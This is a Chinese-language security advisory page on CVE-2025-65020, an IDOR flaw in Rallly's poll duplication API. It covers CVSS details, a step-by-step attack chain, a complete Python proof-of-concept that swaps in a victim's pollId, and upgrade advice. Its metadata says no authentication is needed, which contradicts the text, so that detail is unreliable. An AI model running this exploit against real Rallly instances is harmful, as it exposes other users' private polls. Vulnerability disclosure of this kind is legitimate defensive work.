IPBUF安全漏洞报告
English
CVE-2025-65020 CVSS 6.5 中危

CVE-2025-65020 Rallly投票复制IDOR漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-65020
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rallly

相关标签

IDOR访问控制绕过Rallly投票系统CVE-2025-65020Web应用安全API安全

漏洞概述

CVE-2025-65020是Rallly开源调度协作工具中的一个中等严重性安全漏洞。该漏洞存在于投票复制功能端点(/api/trpc/polls.duplicate),允许已认证用户通过修改pollId参数来复制不属于他们自己的投票,包括私有投票和管理员投票。这是一个典型的不安全直接对象引用(IDOR)访问控制缺陷,攻击者可以利用此漏洞绕过正常的权限检查,获取未授权访问的投票数据。该漏洞影响4.5.4之前的所有版本,已在版本4.5.4中修复。

技术细节

该IDOR漏洞源于Rallly应用在投票复制功能中缺乏适当的授权验证。具体问题在于:1)端点/api/trpc/polls.duplicate在处理复制请求时,仅验证用户是否已登录,但未检查用户是否有权限访问目标投票;2)攻击者可以通过拦截请求并修改pollId参数,指定任意其他用户的投票ID;3)系统直接根据传入的pollId进行数据库查询并复制数据,缺少所有权验证逻辑;4)攻击成功后,攻击者获得原投票的完整副本,包括所有问题和选项设置。漏洞的根本原因是应用层访问控制缺失,依赖客户端提供的对象标识符而非服务端验证的会话上下文。

攻击链分析

STEP 1
步骤1:信息收集
攻击者注册Rallly账户并登录,获取有效的认证令牌(token)
STEP 2
步骤2:识别目标
攻击者通过其他渠道(如社会工程、猜测或信息泄露)获取受害者私有投票的pollId
STEP 3
步骤3:构造恶意请求
攻击者拦截正常的投票复制请求,将pollId参数修改为目标投票的ID
STEP 4
步骤4:发送攻击请求
通过/api/trpc/polls.duplicate端点发送构造的请求,服务端未验证所有权直接处理
STEP 5
步骤5:获取未授权副本
攻击者成功获取目标投票的完整副本,包含所有问题和选项设置
STEP 6
步骤6:数据利用
攻击者可查看原投票的敏感信息,或利用复制功能进一步分析投票数据结构

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-65020 PoC - Rallly IDOR Vulnerability # Target: Rallly < 4.5.4 # Endpoint: /api/trpc/polls.duplicate TARGET_URL = "https://vulnerable-rallly-instance.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_POLL_ID = "victim_private_poll_id" # ID of poll to duplicate def exploit_idor(): """ Exploit IDOR vulnerability in Rallly poll duplication endpoint. This PoC demonstrates how an authenticated attacker can duplicate any poll by modifying the pollId parameter. """ headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {ATTACKER_TOKEN}', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Malicious request with victim poll ID payload = { 'json': { '0': { 'json': { 'pollId': TARGET_POLL_ID # Attacker-controlled poll ID } } } } endpoint = f"{TARGET_URL}/api/trpc/polls.duplicate" try: response = requests.post(endpoint, headers=headers, json=payload) if response.status_code == 200: result = response.json() if 'result' in result: new_poll_id = result['result']['data']['json']['id'] print(f"[+] SUCCESS: Poll duplicated successfully!") print(f"[+] New Poll ID: {new_poll_id}") print(f"[+] Access new poll at: {TARGET_URL}/poll/{new_poll_id}") return new_poll_id elif response.status_code == 401: print("[-] Authentication failed") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-65020 - Rallly IDOR PoC") print("=" * 60) exploit_idor()

影响范围

Rallly < 4.5.4

防御指南

临时缓解措施
立即将Rallly升级到4.5.4版本以修复此IDOR漏洞。在等待升级期间,可通过限制API访问、监控异常投票复制请求、启用双因素认证等方式降低风险。建议审查所有API端点的访问控制实现,确保每个操作都经过适当的授权验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表